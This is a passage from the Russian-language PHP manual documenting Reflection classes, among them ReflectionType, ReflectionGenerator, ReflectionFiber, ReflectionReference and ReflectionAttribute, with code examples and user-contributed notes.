$reflectionProperty->setAccessible(true); // Требуется только до PHP 8.1.0
$reflectionProperty->setValue($foo, 'foobar');
var_dump($reflectionProperty->getValue($foo));

?>

Результат выполнения приведённого примера:

string(3) "foo"
string(3) "bar"
string(6) "foobar"

Смотрите также

  • ReflectionProperty::getValue() - Получает значение
  • ReflectionProperty::setAccessible() - Устанавливает доступность свойства
  • ReflectionClass::setStaticPropertyValue() - Устанавливает значение статического свойства

User Contributed Notes

p stewart imperial ac uk 16-Dec-2022 03:18
setValue can be used for readonly properties, but only if the property has not yet been initialised:

<?php

class Person
{
    private readonly int $age;
    public function __construct(array $props = []) {
        if (isset($props['age'])) {
            $this->age = (int)$props['age'];
        }
    }
}

$personWithKnownAge = new Person(['age' => 50]);

$reflection = new ReflectionProperty($personWithKnownAge, 'age');
$reflection->setValue($personWithKnownAge, 10); // Fails - Age is already initialised, value cannot be changed.

$personWithUnknownAge = new Person();

$reflection = new ReflectionProperty($personWithUnknownAge, 'age');
$reflection->setValue($personWithUnknownAge, 10); // Succeeeds - Age is not yet initialised, value can be set.
?>

This can be useful for situations where it is desirable to initialise properties from outside of the defining class, for example an ORM setup where the parent class is responsible for setting properties on a model subclass instance.
temirkhan.nasukhov 10-Oct-2022 05:41
Keep in mind that setValue won't work for readonly properties.

<?php

class Person
{
    public function __construct(private readonly int $age) {}
}

$someOldPerson = new Person(80);

$reflection = new ReflectionProperty($someOldPerson, 'age');
$reflection->setValue($someOldPerson, 10); // Fatal error: Uncaught Error: Cannot modify readonly property Person::$age
me at ircmaxell dot om 22-Jun-2011 09:27
You can use ReflectionProperty::setValue to set the value on static properties as well as regular instance properties.  Simply pass null in place of the instance:

<?php
class Foo {
    protected static $bar = null;
    public static function sayBar() {
        echo self::$bar;
    }
}

$r = new ReflectionProperty('Foo', 'bar');
$r->setAccessible(true);
$r->setValue(null, 'foo');

Foo::sayBar(); // "foo"
?>


Преобразовывает в строку

  • « ReflectionProperty::setValue
  • ReflectionType »
  • PHP Manual
  • ReflectionProperty
  • Преобразовывает в строку

ReflectionProperty::__toString

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::__toString — Преобразовывает в строку

Описание

public ReflectionProperty::__toString(): string

Метод возвращает строковое представление свойства.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает строковое представление свойства.

Смотрите также

  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionType

(PHP 7, PHP 8)

Введение

Класс ReflectionType сообщает информацию о типе параметра/возвращаемого значения функции или типе свойства класса. Модуль Reflection объявляет следующие подтипы:

  • ReflectionNamedType (начиная с PHP 7.1.0)
  • ReflectionUnionType (начиная с PHP 8.0.0)
  • ReflectionIntersectionType (начиная с PHP 8.1.0)

Обзор классов

abstract class ReflectionType implements Stringable {
/* Методы */
public allowsNull(): bool
public __toString(): string
}

Список изменений

Версия | Описание
8.0.0 | ReflectionType стал абстрактным, а метод ReflectionType::isBuiltin() был перемещён в ReflectionNamedType::isBuiltin().

Содержание

  • ReflectionType::allowsNull — Проверяет, допустим ли NULL
  • ReflectionType::__toString — Получает название типа параметра

User Contributed Notes

Ondej Mirtes 27-Sep-2020 06:53
Method ReflectionType::getName() does not exist. This may have been virtually true in the past but not anymore. It exists on ReflectionNamedType which used to be the only child class of ReflectionType. So you could have kind of relied on that.

But in PHP 8 there's also ReflectionUnionType which doesn't have the getName() method. So in order to support PHP 8, you need to support both ReflectionNamedType and ReflectionUnionType.
benjamin dot morel at gmail dot com 18-Sep-2020 09:03
Known subclasses:

- ReflectionNamedType
- ReflectionUnionType
roland at mxchange dot org 11-Mar-2020 09:13
I guess it is <?php ReflectionNamedType::getName(); ?> ?
1franck 28-Jan-2020 08:59
For those who stumble on notice about ReflectionType::__toString() beeing deprecated, use method ReflectionType::getName() instead which is not yet documented.


Проверяет, допустим ли NULL

  • « ReflectionType
  • ReflectionType::__toString »
  • PHP Manual
  • ReflectionType
  • Проверяет, допустим ли NULL

ReflectionType::allowsNull

(PHP 7, PHP 8)

ReflectionType::allowsNull — Проверяет, допустим ли NULL

Описание

public ReflectionType::allowsNull(): bool

Проверяет, допустим ли null в заданном параметре.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если null допустим, иначе false

Примеры

Пример #1 Пример использования ReflectionType::allowsNull()

<?php
function someFunction(string $param, stdClass $param2 = null) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();

var_dump($reflectionParams[0]->getType()->allowsNull());
var_dump($reflectionParams[1]->getType()->allowsNull());

Результат выполнения приведённого примера:

bool(false)
bool(true)

Смотрите также

  • ReflectionNamedType::isBuiltin() - Проверяет, является ли тип встроенным
  • ReflectionType::__toString() - Получает название типа параметра
  • ReflectionParameter::getType() - Получает тип параметра

User Contributed Notes

There are no user contributed notes for this page.


Получает название типа параметра

  • « ReflectionType::allowsNull
  • ReflectionUnionType »
  • PHP Manual
  • ReflectionType
  • Получает название типа параметра

ReflectionType::__toString

(PHP 7, PHP 8)

ReflectionType::__toString — Получает название типа параметра

Описание

public ReflectionType::__toString(): string

Метод получает имя типа параметра.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает тип параметра.

Список изменений

Версия | Описание
8.0.0 | С метода ReflectionType::__toString() сняли признак устаревшего.
7.1.0 | Метод ReflectionType::__toString() объявлен устаревшим.

Примеры

Пример #1 Пример использования метода ReflectionType::__toString()

<?php
function someFunction(string $param) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParam = $reflectionFunc->getParameters()[0];

echo $reflectionParam->getType();

Вывод приведённого примера будет похож на:

string

Смотрите также

  • ReflectionNamedType::getName() - Получает имя типа в виде строки
  • ReflectionNamedType::isBuiltin() - Проверяет, является ли тип встроенным
  • ReflectionType::allowsNull() - Проверяет, допустим ли NULL
  • ReflectionUnionType::getTypes() - Возвращает типы, включённые в тип union
  • ReflectionParameter::getType() - Получает тип параметра

User Contributed Notes

Anonymous 26-Jul-2020 04:32
Regarding this method's deprecation:

ReflectionType::__toString() was first deprecated in PHP 7.1.0 alpha1.
The deprecation notice was removed in PHP 7.1.0 RC3, before being reinstated in PHP 7.4.0 alpha1.

Starting with PHP 7.1.0 beta 3, ReflectionParameter::getType() & ReflectionFunctionAbstract::getReturnType() return instances of ReflectionNamedType instead of ReflectionType.
The ReflectionNamedType class inherits from ReflectionType but provides an additional getName() method which can be used to retrieve the type hint.

Lastly, PHP 8.0.0 alpha1 introduced the concept of union types (see https://wiki.php.net/rfc/union_types_v2). As a result, ReflectionParameter::getType() & ReflectionFunctionAbstract::getReturnType() will now return either instances of ReflectionNamedType or ReflectionUnionType depending on the type hint, both of which are descendants of ReflectionType.


Класс ReflectionUnionType

(PHP 8)

Введение

Обзор классов

class ReflectionUnionType extends ReflectionType {
/* Методы */
public getTypes(): array
/* Наследуемые методы */
public ReflectionType::allowsNull(): bool
public ReflectionType::__toString(): string
}

Содержание

  • ReflectionUnionType::getTypes — Возвращает типы, включённые в тип union

User Contributed Notes

There are no user contributed notes for this page.


Возвращает типы, включённые в тип union

  • « ReflectionUnionType
  • ReflectionGenerator »
  • PHP Manual
  • ReflectionUnionType
  • Возвращает типы, включённые в тип union

ReflectionUnionType::getTypes

(PHP 8)

ReflectionUnionType::getTypes — Возвращает типы, включённые в тип union

Описание

public ReflectionUnionType::getTypes(): array

Возвращает отражения типов, включённых в тип union.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив объектов ReflectionType.

Примеры

Пример #1 Пример использования ReflectionUnionType::getTypes()

<?php
function someFunction(int|float $number) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParam = $reflectionFunc->getParameters()[0];

var_dump($reflectionParam->getType()->getTypes());

Вывод приведённого примера будет похож на:

array(2) {
    [0] =>
    class ReflectionNamedType#4(0) {
    }
    [1] =>
    class ReflectionNamedType#5(0) {
    }
}

Смотрите также

  • ReflectionType::allowsNull() - Проверяет, допустим ли NULL
  • ReflectionParameter::getType() - Получает тип параметра

User Contributed Notes

baptiste at pillot dot fr 08-Sep-2023 12:22
ReflectionUnionType::getTypes can return an array of ReflectionNamedType and/or ReflectionIntersectionType objects only.
baptiste at pillot dot fr 08-Sep-2023 12:12
Sorting :

Contrary to what one might expect, the returned array of ReflectionType objects will not be sorted in the same order than the types declared into the source code.

- Classes, interfaces, traits, iterable (replaced by Traversable), ReflectionIntersectionType objects, parent and self: these types will be returned first, in the order in which they were declared.
- static and all built-in types (iterable replaced by array) will come next. They will always be returned in this order: static, callable, array, string, int, float, bool (or false or true), null.

Notice that when used into an union type, iterable is an alias for Traversable|array. ReflectionUnionType::getTypes will return these both ReflectionNamedType objects, instead of a single one named 'iterable'.

Example :
<?php
class PC {}
class C extends PC {
    function f(): null|bool|float|int|parent|PC|string|iterable|(ReflectionClass&ReflectionProperty)|callable|static|self|C {}
}
echo join(', ', array_map(
    function($t) { return ($t instanceof ReflectionIntersectionType) ? '<intersection>' : $t->getName(); },
    (new ReflectionMethod('C', 'f'))->getReturnType()->getTypes()
)) . "\n";
?>

Will display :
parent, PC, Traversable, <intersection>, self, C, static, callable, array, string, int, float, bool, null

Try it: https://onlinephp.io/c/777c6


Класс ReflectionGenerator

(PHP 7, PHP 8)

Введение

Класс ReflectionGenerator сообщает информацию о генераторе.

Обзор классов

final class ReflectionGenerator {
/* Методы */
public __construct(Generator $generator)
public getExecutingFile(): string
public getExecutingGenerator(): Generator
public getExecutingLine(): int
public getFunction(): ReflectionFunctionAbstract
public getThis(): ?object
public getTrace(int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT): array
}

Список изменений

Версия | Описание
8.0.0 | Класс теперь является окончательным (final).

Содержание

  • ReflectionGenerator::__construct — Конструктор ReflectionGenerator
  • ReflectionGenerator::getExecutingFile — Получает имя файла, из которого запустили генератор
  • ReflectionGenerator::getExecutingGenerator — Получает запущенный объект класса Generator
  • ReflectionGenerator::getExecutingLine — Получает текущую строку, которую выполняет генератор
  • ReflectionGenerator::getFunction — Получает имя функции генератора
  • ReflectionGenerator::getThis — Получает значение $this генератора
  • ReflectionGenerator::getTrace — Получает трассировку запущенного генератора

User Contributed Notes

There are no user contributed notes for this page.


Конструктор ReflectionGenerator

  • « ReflectionGenerator
  • ReflectionGenerator::getExecutingFile »
  • PHP Manual
  • ReflectionGenerator
  • Конструктор ReflectionGenerator

ReflectionGenerator::__construct

(PHP 7, PHP 8)

ReflectionGenerator::__construct — Конструктор ReflectionGenerator

Описание

public ReflectionGenerator::__construct(Generator $generator)

Создаёт объект ReflectionGenerator.

Список параметров

generator

Объект генератора.

Примеры

Пример #1 Пример использования ReflectionGenerator::__construct()

<?php

function gen()
{
yield 1;
}

$gen = gen();

$reflectionGen = new ReflectionGenerator($gen);

echo <<< output
{$reflectionGen->getFunction()->name}
Строка: {$reflectionGen->getExecutingLine()}
Файл: {$reflectionGen->getExecutingFile()}
output;

Вывод приведённого примера будет похож на:

gen
Строка: 5
Файл: /path/to/file/example.php

Смотрите также

  • ReflectionGenerator::getFunction() - Получает имя функции генератора
  • ReflectionGenerator::getExecutingLine() - Получает текущую строку, которую выполняет генератор
  • ReflectionGenerator::getExecutingFile() - Получает имя файла, из которого запустили генератор

User Contributed Notes

There are no user contributed notes for this page.


Получает имя файла, из которого запустили генератор

  • « ReflectionGenerator::__construct
  • ReflectionGenerator::getExecutingGenerator »
  • PHP Manual
  • ReflectionGenerator
  • Получает имя файла, из которого запустили генератор

ReflectionGenerator::getExecutingFile

(PHP 7, PHP 8)

ReflectionGenerator::getExecutingFile — Получает имя файла, из которого запустили генератор

Описание

public ReflectionGenerator::getExecutingFile(): string

Метод возвращает полный путь и имя файла текущего запущенного генератора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает полный путь и имя файла текущего запущенного генератора.

Примеры

Пример #1 Пример использования метода ReflectionGenerator::getExecutingFile()

<?php

class GenExample
{
public function gen()
{
yield 1;
}
}

$gen = (new GenExample)->gen();

$reflectionGen = new ReflectionGenerator($gen);

echo "Файл: {$reflectionGen->getExecutingFile()}";

?>

Вывод приведённого примера будет похож на:

Файл: /path/to/file/example.php

Смотрите также

  • ReflectionGenerator::getExecutingLine() - Получает текущую строку, которую выполняет генератор
  • ReflectionGenerator::getExecutingGenerator() - Получает запущенный объект класса Generator

User Contributed Notes

There are no user contributed notes for this page.


Получает запущенный объект класса Generator

  • « ReflectionGenerator::getExecutingFile
  • ReflectionGenerator::getExecutingLine »
  • PHP Manual
  • ReflectionGenerator
  • Получает запущенный объект класса Generator

ReflectionGenerator::getExecutingGenerator

(PHP 7, PHP 8)

ReflectionGenerator::getExecutingGenerator — Получает запущенный объект класса Generator

Описание

public ReflectionGenerator::getExecutingGenerator(): Generator

Метод возвращает запущенный объект класса Generator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает запущенный объект класса Generator.

Примеры

Пример #1 Пример использования метода ReflectionGenerator::getExecutingGenerator()

<?php

class GenExample
{
public function gen()
{
yield 1;
}
}

$gen = (new GenExample)->gen();

$reflectionGen = new ReflectionGenerator($gen);

$gen2 = $reflectionGen->getExecutingGenerator();

var_dump($gen2 === $gen);
var_dump($gen2->current());

?>

Вывод приведённого примера будет похож на:

bool(true)
int(1);

Смотрите также

  • ReflectionGenerator::getExecutingLine() - Получает текущую строку, которую выполняет генератор
  • ReflectionGenerator::getExecutingFile() - Получает имя файла, из которого запустили генератор

User Contributed Notes

There are no user contributed notes for this page.


Получает текущую строку, которую выполняет генератор

  • « ReflectionGenerator::getExecutingGenerator
  • ReflectionGenerator::getFunction »
  • PHP Manual
  • ReflectionGenerator
  • Получает текущую строку, которую выполняет генератор

ReflectionGenerator::getExecutingLine

(PHP 7, PHP 8)

ReflectionGenerator::getExecutingLine — Получает текущую строку, которую выполняет генератор

Описание

public ReflectionGenerator::getExecutingLine(): int

Метод получает номер строки, которую выполняет генератор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает номер текущей выполняющейся строки генератора.

Примеры

Пример #1 Пример использования метода ReflectionGenerator::getExecutingLine()

<?php

class GenExample
{
public function gen()
{
yield 1;
}
}

$gen = (new GenExample)->gen();

$reflectionGen = new ReflectionGenerator($gen);

echo "Строка: {$reflectionGen->getExecutingLine()}";

?>

Вывод приведённого примера будет похож на:

Строка: 7

Смотрите также

  • ReflectionGenerator::getExecutingGenerator() - Получает запущенный объект класса Generator
  • ReflectionGenerator::getExecutingFile() - Получает имя файла, из которого запустили генератор

User Contributed Notes

There are no user contributed notes for this page.


Получает имя функции генератора

  • « ReflectionGenerator::getExecutingLine
  • ReflectionGenerator::getThis »
  • PHP Manual
  • ReflectionGenerator
  • Получает имя функции генератора

ReflectionGenerator::getFunction

(PHP 7, PHP 8)

ReflectionGenerator::getFunction — Получает имя функции генератора

Описание

public ReflectionGenerator::getFunction(): ReflectionFunctionAbstract

Метод разрешает получить имя функции генератора, возвращая производный от класса ReflectionFunctionAbstract класс.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает класс ReflectionFunctionAbstract: ReflectionFunction для функций или ReflectionMethod для методов.

Примеры

Пример #1 Пример использования метода ReflectionGenerator::getFunction()

<?php

function gen()
{
yield 1;
}

$gen = gen();

$reflectionGen = new ReflectionGenerator($gen);

var_dump($reflectionGen->getFunction());

?>

Вывод приведённого примера будет похож на:

object(ReflectionFunction)#3 (1) {
  ["name"]=>
  string(3) "gen"
}

Смотрите также

  • ReflectionGenerator::getThis() - Получает значение $this генератора
  • ReflectionGenerator::getTrace() - Получает трассировку запущенного генератора

User Contributed Notes

There are no user contributed notes for this page.


Получает значение $this генератора

  • « ReflectionGenerator::getFunction
  • ReflectionGenerator::getTrace »
  • PHP Manual
  • ReflectionGenerator
  • Получает значение $this генератора

ReflectionGenerator::getThis

(PHP 7, PHP 8)

ReflectionGenerator::getThis — Получает значение $this генератора

Описание

public ReflectionGenerator::getThis(): ?object

Получить значение $this, к которому имеет доступ генератор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает значение $this или null, если генератор создан вне контекста класса.

Примеры

Пример #1 Пример использования ReflectionGenerator::getThis()

<?php

class GenExample
{
public function gen()
{
yield 1;
}
}

$gen = (new GenExample)->gen();

$reflectionGen = new ReflectionGenerator($gen);

var_dump($reflectionGen->getThis());

Вывод приведённого примера будет похож на:

object(GenExample)#3 (0) {
}

Смотрите также

  • ReflectionGenerator::getFunction() - Получает имя функции генератора
  • ReflectionGenerator::getTrace() - Получает трассировку запущенного генератора

User Contributed Notes

There are no user contributed notes for this page.


Получает трассировку запущенного генератора

  • « ReflectionGenerator::getThis
  • ReflectionFiber »
  • PHP Manual
  • ReflectionGenerator
  • Получает трассировку запущенного генератора

ReflectionGenerator::getTrace

(PHP 7, PHP 8)

ReflectionGenerator::getTrace — Получает трассировку запущенного генератора

Описание

public ReflectionGenerator::getTrace(int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT): array

Метод получает трассировку работающего генератора.

Список параметров

options

Значение параметра options устанавливают следующие флаги:

Доступные опции
Опция | Описание
DEBUG_BACKTRACE_PROVIDE_OBJECT | По умолчанию.
DEBUG_BACKTRACE_IGNORE_ARGS | Не включать информацию об аргументах функций в стек вызовов.

Возвращаемые значения

Метод возвращает трассировку работающего генератора.

Примеры

Пример #1 Пример использования метода ReflectionGenerator::getTrace()

<?php

function foo() {
yield 1;
}

function bar()
{
yield from foo();
}

function baz()
{
yield from bar();
}

$gen = baz();
$gen->valid(); // Запускаем генератор

var_dump((new ReflectionGenerator($gen))->getTrace());

?>

Вывод приведённого примера будет похож на:

array(2) {
  [0]=>
  array(4) {
    ["file"]=>
    string(18) "example.php"
    ["line"]=>
    int(8)
    ["function"]=>
    string(3) "foo"
    ["args"]=>
    array(0) {
    }
  }
  [1]=>
  array(4) {
    ["file"]=>
    string(18) "example.php"
    ["line"]=>
    int(12)
    ["function"]=>
    string(3) "bar"
    ["args"]=>
    array(0) {
    }
  }
}

Смотрите также

  • ReflectionGenerator::getFunction() - Получает имя функции генератора
  • ReflectionGenerator::getThis() - Получает значение $this генератора

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionFiber

(PHP 8 >= 8.1.0)

Введение

Обзор классов

final class ReflectionFiber {
/* Методы */
public __construct(Fiber $fiber)
public getCallable(): callable
public getExecutingFile(): string
public getExecutingLine(): int
public getFiber(): Fiber
public getTrace(int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT): array
}

Содержание

  • ReflectionFiber::__construct — Создаёт объект ReflectionFiber
  • ReflectionFiber::getCallable — Получает вызываемый объект, используемый для создания файбера
  • ReflectionFiber::getExecutingFile — Получает имя файла текущей точки выполнения
  • ReflectionFiber::getExecutingLine — Получает номер строки текущей точки выполнения
  • ReflectionFiber::getFiber — Получает отражённый экземпляр файбера
  • ReflectionFiber::getTrace — Получает обратную трассировку текущей точки выполнения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект ReflectionFiber

  • « ReflectionFiber
  • ReflectionFiber::getCallable »
  • PHP Manual
  • ReflectionFiber
  • Создаёт объект ReflectionFiber

ReflectionFiber::__construct

(PHP 8 >= 8.1.0)

ReflectionFiber::__construct — Создаёт объект ReflectionFiber

Описание

public ReflectionFiber::__construct(Fiber $fiber)

Создаёт объект ReflectionFiber.

Список параметров

fiber

Класс Fiber для отражения.

User Contributed Notes

There are no user contributed notes for this page.


Получает вызываемый объект, используемый для создания файбера

  • « ReflectionFiber::__construct
  • ReflectionFiber::getExecutingFile »
  • PHP Manual
  • ReflectionFiber
  • Получает вызываемый объект, используемый для создания файбера

ReflectionFiber::getCallable

(PHP 8 >= 8.1.0)

ReflectionFiber::getCallable — Получает вызываемый объект, используемый для создания файбера

Описание

public ReflectionFiber::getCallable(): callable

Возвращает вызываемый объект, используемый для создания Fiber. Если файбер завершён, выдаётся ошибка Error.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает вызываемый объект, используемый для создания Fiber.

User Contributed Notes

There are no user contributed notes for this page.


Получает имя файла текущей точки выполнения

  • « ReflectionFiber::getCallable
  • ReflectionFiber::getExecutingLine »
  • PHP Manual
  • ReflectionFiber
  • Получает имя файла текущей точки выполнения

ReflectionFiber::getExecutingFile

(PHP 8 >= 8.1.0)

ReflectionFiber::getExecutingFile — Получает имя файла текущей точки выполнения

Описание

public ReflectionFiber::getExecutingFile(): string

Возвращает полный путь и имя файла текущей точки выполнения в отражённом классе Fiber. Если файбер не был запущен или завершён, выдаётся ошибка Error.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Полный путь и имя файла отражённого файбера.

User Contributed Notes

There are no user contributed notes for this page.


Получает номер строки текущей точки выполнения

  • « ReflectionFiber::getExecutingFile
  • ReflectionFiber::getFiber »
  • PHP Manual
  • ReflectionFiber
  • Получает номер строки текущей точки выполнения

ReflectionFiber::getExecutingLine

(PHP 8 >= 8.1.0)

ReflectionFiber::getExecutingLine — Получает номер строки текущей точки выполнения

Описание

public ReflectionFiber::getExecutingLine(): int

Возвращает номер строки текущей точки выполнения в отражённом классе Fiber. Если файбер не был запущен или завершён, выдаётся ошибка Error.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Номер строки текущей точки выполнения файбера.

User Contributed Notes

There are no user contributed notes for this page.


Получает отражённый экземпляр файбера

  • « ReflectionFiber::getExecutingLine
  • ReflectionFiber::getTrace »
  • PHP Manual
  • ReflectionFiber
  • Получает отражённый экземпляр файбера

ReflectionFiber::getFiber

(PHP 8 >= 8.1.0)

ReflectionFiber::getFiber — Получает отражённый экземпляр файбера

Описание

public ReflectionFiber::getFiber(): Fiber

Получает отражённый экземпляр Fiber.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает отражённый экземпляр Fiber.

User Contributed Notes

There are no user contributed notes for this page.


Получает обратную трассировку текущей точки выполнения

  • « ReflectionFiber::getFiber
  • ReflectionIntersectionType »
  • PHP Manual
  • ReflectionFiber
  • Получает обратную трассировку текущей точки выполнения

ReflectionFiber::getTrace

(PHP 8 >= 8.1.0)

ReflectionFiber::getTrace — Получает обратную трассировку текущей точки выполнения

Описание

public ReflectionFiber::getTrace(int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT): array

Получает обратную трассировку текущей точки выполнения отражённого класса Fiber.

Список параметров

options

Значение options может быть любым из следующих флагов: the following flags.

Доступные параметры
Параметр | Описание
DEBUG_BACKTRACE_PROVIDE_OBJECT | По умолчанию.
DEBUG_BACKTRACE_IGNORE_ARGS | Не включать информацию об аргументе для функций в трассировку стека.

Возвращаемые значения

Отслеживание текущей точки выполнения файбера.

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionIntersectionType

(PHP 8 >= 8.1.0)

Введение

Обзор классов

class ReflectionIntersectionType extends ReflectionType {
/* Методы */
public getTypes(): array
/* Наследуемые методы */
public ReflectionType::allowsNull(): bool
public ReflectionType::__toString(): string
}

Содержание

  • ReflectionIntersectionType::getTypes — Возвращает пересекающиеся типы

User Contributed Notes

There are no user contributed notes for this page.


Возвращает пересекающиеся типы

  • « ReflectionIntersectionType
  • ReflectionReference »
  • PHP Manual
  • ReflectionIntersectionType
  • Возвращает пересекающиеся типы

ReflectionIntersectionType::getTypes

(PHP 8 >= 8.1.0)

ReflectionIntersectionType::getTypes — Возвращает пересекающиеся типы

Описание

public ReflectionIntersectionType::getTypes(): array

Возвращает пересекающиеся типы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив объектов ReflectionType.

Примеры

Пример #1 Пример использования метода ReflectionIntersectionType::getTypes()

<?php

function someFunction(Iterator&Countable $value) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParam = $reflectionFunc->getParameters()[0];

var_dump($reflectionParam->getType()->getTypes());
?>

Вывод приведённого примера будет похож на:

array(2) {
    [0] =>
    class ReflectionNamedType#4(0) {
    }
    [1] =>
    class ReflectionNamedType#5(0) {
    }
}

Смотрите также

  • ReflectionType::allowsNull() - Проверяет, допустим ли NULL
  • ReflectionParameter::getType() - Получает тип параметра

User Contributed Notes

baptiste at pillot dot fr 08-Sep-2023 12:30
php 8.2: ReflectionIntersectionType::getTypes returns an array of ReflectionNamedType. For now, PHP's DNF implementation does not allow union types nested into intersection types.


Класс ReflectionReference

(PHP 7 >= 7.4.0, PHP 8)

Введение

Класс ReflectionReference предоставляет информацию о ссылке.

Обзор классов

final class ReflectionReference {
/* Методы */
private __construct()
public static fromArrayElement(array $array, int|string $key): ?ReflectionReference
public getId(): string
}

Содержание

  • ReflectionReference::__construct — Закрытый конструктор, запрещающий создание экземпляра напрямую
  • ReflectionReference::fromArrayElement — Создаёт ReflectionReference из элемента массива
  • ReflectionReference::getId — Получает уникальный идентификатор ссылки

User Contributed Notes

There are no user contributed notes for this page.


Закрытый конструктор, запрещающий создание экземпляра напрямую

  • « ReflectionReference
  • ReflectionReference::fromArrayElement »
  • PHP Manual
  • ReflectionReference
  • Закрытый конструктор, запрещающий создание экземпляра напрямую

ReflectionReference::__construct

(Информация о версии неизвестна, возможно, только в Git)

ReflectionReference::__construct — Закрытый конструктор, запрещающий создание экземпляра напрямую

Описание

private ReflectionReference::__construct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт ReflectionReference из элемента массива

  • « ReflectionReference::__construct
  • ReflectionReference::getId »
  • PHP Manual
  • ReflectionReference
  • Создаёт ReflectionReference из элемента массива

ReflectionReference::fromArrayElement

(PHP 7 >= 7.4.0, PHP 8)

ReflectionReference::fromArrayElement — Создаёт ReflectionReference из элемента массива

Описание

public static ReflectionReference::fromArrayElement(array $array, int|string $key): ?ReflectionReference

Создаёт ReflectionReference из элемента массива.

Список параметров

array

Массив содержащий потенциальную ссылку.

key

Ключ; целое число(int) или строка(string).

Возвращаемые значения

Возвращает экземпляр ReflectionReference если $array[$key] является ссылкой, или null в противном случае.

Ошибки

Если array не является массивом, или key не является целым числом(int) или строкой(string), будет выброшено исключение TypeError. Если $array[$key] не задан, то будет выброшено исключение ReflectionException.

User Contributed Notes

There are no user contributed notes for this page.


Получает уникальный идентификатор ссылки

  • « ReflectionReference::fromArrayElement
  • ReflectionAttribute »
  • PHP Manual
  • ReflectionReference
  • Получает уникальный идентификатор ссылки

ReflectionReference::getId

(PHP 7 >= 7.4.0, PHP 8)

ReflectionReference::getId — Получает уникальный идентификатор ссылки

Описание

public ReflectionReference::getId(): string

Метод возвращает уникальный на протяжении жизни идентификатор ссылки. По этому идентификатору сравнивают ссылки на равенство или составляют карту известных ссылок.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает строку string неопределённого формата.

Примеры

Пример #1 Простое использование метода ReflectionReference::getId()

<?php

$val1 = 'foo';
$val2 = 'bar';
$arr = [&$val1, &$val2, &$val1];

$rr1 = ReflectionReference::fromArrayElement($arr, 0);
$rr2 = ReflectionReference::fromArrayElement($arr, 1);
$rr3 = ReflectionReference::fromArrayElement($arr, 2);

var_dump($rr1->getId() === $rr2->getId());
var_dump($rr1->getId() === $rr3->getId());

?>

Результат выполнения приведённого примера:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionAttribute

(PHP 8)

Введение

Класс ReflectionAttribute предоставляет информацию об Атрибутах.

Обзор классов

class ReflectionAttribute implements Reflector {
/* Константы */
public const int IS_INSTANCEOF;
/* Методы */
private __construct()
public getArguments(): array
public getName(): string
public getTarget(): int
public isRepeated(): bool
public newInstance(): object
}

Предопределённые константы

Флаги ReflectionAttribute

ReflectionAttribute::IS_INSTANCEOF

Получение атрибутов с помощью проверки параметра instanceof.

Замечание:

Значения этих констант могут меняться в зависимости от версии PHP. Рекомендуется всегда использовать константы и не полагаться на их значения напрямую.

Содержание

  • ReflectionAttribute::__construct — Закрытый конструктор, запрещающий создание объекта напрямую
  • ReflectionAttribute::getArguments — Возвращает аргументы, переданные атрибуту
  • ReflectionAttribute::getName — Возвращает имя атрибута
  • ReflectionAttribute::getTarget — Возвращает цель атрибута в виде битовой маски
  • ReflectionAttribute::isRepeated — Определяет, был ли атрибут с таким именем указан многократно в элементе кода
  • ReflectionAttribute::newInstance — Создаёт экземпляр класса атрибута, используя содержащиеся в объекте ReflectionAttribute имя класса и аргументы

User Contributed Notes

There are no user contributed notes for this page.


Закрытый конструктор, запрещающий создание объекта напрямую

  • « ReflectionAttribute
  • ReflectionAttribute::getArguments »
  • PHP Manual
  • ReflectionAttribute
  • Закрытый конструктор, запрещающий создание объекта напрямую

ReflectionAttribute::__construct

(PHP 8)

ReflectionAttribute::__construct — Закрытый конструктор, запрещающий создание объекта напрямую

Описание

private ReflectionAttribute::__construct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает аргументы, переданные атрибуту

  • « ReflectionAttribute::__construct
  • ReflectionAttribute::getName »
  • PHP Manual
  • ReflectionAttribute
  • Возвращает аргументы, переданные атрибуту

ReflectionAttribute::getArguments

(PHP 8)

ReflectionAttribute::getArguments — Возвращает аргументы, переданные атрибуту

Описание

public ReflectionAttribute::getArguments(): array

Возвращает аргументы, переданные атрибуту.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Аргументы, переданные атрибуту.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя атрибута

  • « ReflectionAttribute::getArguments
  • ReflectionAttribute::getTarget »
  • PHP Manual
  • ReflectionAttribute
  • Возвращает имя атрибута

ReflectionAttribute::getName

(PHP 8)

ReflectionAttribute::getName — Возвращает имя атрибута

Описание

public ReflectionAttribute::getName(): string

Возвращает имя атрибута.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя атрибута.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цель атрибута в виде битовой маски

